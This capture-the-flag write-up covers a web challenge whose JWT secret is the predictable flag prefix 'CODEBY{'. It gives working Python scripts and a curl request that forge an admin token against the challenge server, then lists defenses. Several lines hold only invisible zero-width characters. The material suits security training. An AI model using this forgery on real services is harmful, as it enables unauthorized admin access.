← Back to Writeups
CUSTOMEasyWeb

Разминка с JWT (JWT Warmup)

XESXOR9/2/20263 min read
#web#custom#easy

Разминка с JWT (JWT Warmup)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Web

Summary

Walkthrough of the CUSTOM Web Разминка с JWT (JWT Warmup). Task: JWT warmup challenge with source code disclosure. Solution: The JWT secret is derived from the first 7 characters of the flag (CODEBY{), allowing token forgery with admin privileges.

Description

Разминочный таск на JWT, перед таском посложнее

URL: http://62.173.140.174:16007

Analysis

1. Reconnaissance

The main page (/) returns the application source code:

python
from flask import Flask, request
import jwt

app = Flask(__name__)
flag = "CODEBY{...}"
secret = flag[:7]  # <-- Key vulnerability!

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/check-jwt/<token>')
def check_jwt(token):
    try:
        data = jwt.decode(token, secret, algorithms=['HS256'])
        if data.get('name') == 'admin' and data.get('isAdmin') == True:
            return flag
        return "Not admin"
    except:
        return "Invalid token"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Vulnerability

Predictable JWT Secret: The secret for signing the JWT token is the first 7 characters of the flag.

Flag format on hackerlab.pro: CODEBY{...}

Therefore: secret = "CODEBY{"

3. Conditions for Getting the Flag

To get the flag, we need a JWT token with payload:

  • name = "admin"
  • isAdmin = True

Solution

Creating a Forged JWT Token

python
#!/usr/bin/env python3
import hmac
import hashlib
import base64
import json

# Known secret (first 7 characters of the flag)
secret = "CODEBY{"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# JWT Header
header = {"alg": "HS256", "typ": "JWT"}

# JWT Payload (conditions for getting the flag)
payload = {"name": "admin", "isAdmin": True}

def b64url_encode(data):
    """Base64 URL-safe encoding without padding"""
    if isinstance(data, dict):
        data = json.dumps(data, separators=(',', ':')).encode()
    return base64.urlsafe_b64encode(data).decode().rstrip('=')

# Encode header and payload
header_b64 = b64url_encode(header)
payload_b64 = b64url_encode(payload)

# Form the message for signing
message = f"{header_b64}.{payload_b64}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Create HMAC-SHA256 signature
signature = hmac.new(
    secret.encode(), 
    message.encode(), 
    hashlib.sha256
).digest()

# Assemble the final token
token = f"{message}.{base64.urlsafe_b64encode(signature).decode().rstrip('=')}"

print(f"Token: {token}")

Sending the Token

bash
# Generated token
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpc0FkbWluIjp0cnVlfQ.XYZ..."

# Get the flag
curl "http://62.173.140.174:16007/check-jwt/$TOKEN"

Alternative with PyJWT

python
import jwt
import requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

secret = "CODEBY{"
token = jwt.encode(
    {"name": "admin", "isAdmin": True},
    secret,
    algorithm="HS256"
)

response = requests.get(f"http://62.173.140.174:16007/check-jwt/{token}")
print(response.text)

Techniques

TechniqueDescription
Source Code DisclosureMain page returns the source code
Predictable SecretSecret = first 7 characters of flag = CODEBY{
JWT ForgeryCreating a valid token with a known secret
HS256 SignatureHMAC-SHA256 signature with base64url encoding
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

To prevent such attacks:

  1. Use cryptographically strong secrets — minimum 256 bits of entropy
  2. Don't derive secrets from predictable data — flags, names, dates
  3. Store secrets in environment variables — not in code
  4. Use asymmetric algorithms — RS256 instead of HS256 for public APIs

References

Key Takeaways / Lessons

  • Mastering Web was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-24 • CUSTOM • Разминка с JWT (JWT Warmup) • Difficulty: Easy